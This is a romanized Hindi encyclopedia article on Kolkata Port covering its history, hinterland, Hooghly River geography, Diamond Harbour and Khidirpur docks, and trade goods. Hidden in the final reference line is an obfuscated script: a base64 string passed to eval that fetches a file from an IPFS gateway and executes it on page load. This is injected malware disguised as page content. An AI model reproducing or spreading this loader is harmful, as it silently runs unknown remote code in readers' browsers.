कोलकाता बंदरगाह
kolakata bandaragah
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| vivaran | kolakata bandaragah desh ke pramukh bandaragahoan mean se ek hai. yah bandaragah hugali nadi ke muhane par sthit hai. |
| desh | bharat |
| sthan | kalakatta |
| udghatan | 1870, 146 varsh poorv |
| sanchalan | kolakata port trast |
| svamitv | kolakata port trast, jahajarani mantralay, bharat sarakar |
| prishthadesh | isake poorvaanchal se satoan rajy tatha pashchim bangal, bihar, jharakhand, poorvi uttar pradesh, u disa aur poorvi madhy pradesh sammilit haian. |
| niryat | joot ka taiyar mal, rasse, koyala, chay, shakkar, lohe ka saman, tilahal, cham da, lakh, abhrak, sanee v maianganij haian. |
| shushk d aauk | 5, jinamean se 3 khidirapur aur 2 netaji subhash d aauk haian. |
| potashray | dayamand |
| any janakari | kolakata bandaragah vayumargoan dvara sampoorn vishv se ju da hua. |
| adyatan | 06:01, 3 disambar-2016 (IST) |
kolakata athava kalakatta bandaragah (aangrezi:Kolkata Port) ka desh ke pramukh bandaragahoan mean tisara sthan hai. kolakata desh ka praranbhik b da bandaragah hai. mugal badashah aurangajeb dvara british upaniveshakoan ko poorvi bharat mean vyapar karane ka adhikar die jane ke samay se yah bharat ka pramukh bandaragah raha hai. is bandaragah ke sath kolakata shahar ka purana sanbandh hai. yah hugali nadi ke bayean kinare par sthit hai. nadi ke muhane se kolakata bandaragah 129 kilomitar door uttar ki or hai. kolakata bandaragah bharat ka hi nahian varanh sampoorn dakshin eshiya ka pramukh bandaragah raha hai. yah ganga-brahmaputr ghati ka mukhy samudrik dvar hai.[1]
prishthadesh
kolakata bandaragah ka prishthadesh dhani hai. isake prishthadesh mean poorvaanchal se satoan rajy tatha pashchim bangal, bihar, jharakhand, poorvi uttar pradesh, u disa aur poorvi madhy pradesh sammilit haian. in sabhi bhagoan se yah poorvi, uttar-poorvi, madhy aur poorvi simaant relamargoan, rashtriy rajamargoan, nadiyoan aur naharoan dvara hua hai. at: sabhi prakar ki paidavar evan utpadan sahaj mean hi kolakata laya ja sakata hai aur videshoan se prapt mal ko bhinn-bhinn bhagoan mean pahuanchaya ja sakata hai. kolakata bandaragah vayumargoan dvara sampoorn vishv se ju da hua. kolakata bandaragah ke prishth pradesh mean anek prakar ke krishigat evan audyaugik kachcha mal, sabjiyaan, phal, joot, chay, plaee, lak di evan nirmit vastuoan ka bhari matra mean utpadan hota hai. sath hi bharat ke pradhan audyaugik pradesh isake prishthapradesh mean sthit haian, at: vahaan dhatu shodhan udyog, bhari halke v kimati ianjiniyari evan rasayanik saman, ilektronik v vidyuth sthit haian. at: yahaan se sabhi prakar ki ayat-niryat seva upalabdh hai.
bhaugolik sthiti
hugali nadi mean kolakata se samudr tat tak anek mo d haian tatha kee sthanoan par nadi mean baloo bhar jane se jal ki gaharaee bahut kam ho gee hai, isase b de jahaz nahian nikal pate. inamean se bhi gangasagar ke asapas keval 7 se 9 mitar tak hi jal gahara rahata hai. at: bandaragah mean jahaz ane ke poorv is bat ki pariksha kar li jati hai ki yahaan jal paryapt gahara hai. anyatha jahazoan ko hugali nadi ke gahare jal mean kh da rahana p data hai.
potashray
hugali nadi mean nirantar mitti bharate rahane ke karan 64 kilomitar door khuli kha di mean dayamand potashray ka nirman kiya gaya hai. yahaan jal ki paryapt gaharaee ke karan 10,000tan se adhik bhar vale jahaz pahuanchakar yahaan vishram karate haian. jvar ke samay se jahaz khidirapur tak jate haian jo kolakata ka mukhy potashray hai. hugali ke muhane se kolakata tak jahazoan ke ane mean lagabhag 6 ghante ka samay lagata hai. hugali tat par uttar mean siramapur se lekar dakshin mean bajabaj tak anek sthanoan par jetiyaan, godam evan vyavasayik kendr sthit haian. ab potashray ki suvidha badhana sabase b di samasya hai. sanh 1954 mean ek nayi yojana banayi gayi jisake anusar dayamand potashray evan khidirapur ke bich ek 48 kilomitar lambi sidhi jahazi nahar banane par vichar hua tha, parantu is yojana mean vyay hone aur nikatavarti gaanvo ki vishesh hani hone se yah yojana samapt kar di gee hai. ab hugali ko hi adhik gahara banaye rakha jata hai.
khidipur sabase adhik mahatvapoorn potashray hai jahaan do bandaragah haian. inake jal 9 mitar (30 phit) gahara rahata hai. yahaan mashinoan se saman utarane ki suvidha hai. netaji subhashachandr bos d aauk doosara mahatvapoorn potashray hai. yahaan saman utarane - chadhane ke 10 barth haian aur petrol ekatrit karane ke lie ek aur barth hai. poore bandaragah mean 5 shushk d aauk bhi haian jin mean se 3 khidirapur aur 2 netaji subhash d aauk mean sthit haian bajabaj mean petroliyam ke godam ki vyvastha hai. any sthanoan par vividh prakar ke anek godam bane hue hai.
niryat evan ayat
kolakata bandaragah se niryat ki pramukh vastuean joot ka taiyar mal, rasse, koyala, chay, shakkar, lohe ka saman, tilahal, cham da, lakh, abhrak, sanee v maianganij haian. ayat ki mukhy vastuean ooni, sooti, reshami vastr, mashinean, shakkar, motarakarean, kaanch ka saman, sharab, namak, kagaj, petroliyam, rab d, rasayanik padarth aur gehooan haian. kolakata bandaragah ka desh ke pramukh bandaragahoan mean tisara sthan hai.
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tika tippani aur sandarbh
- ↑ bharat ka bhoogol |lekhak: d aau. chaturbhuj mamoriya |prakashak: sahity bhavan pablikeshans, agara |prishth sankhya: 363 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>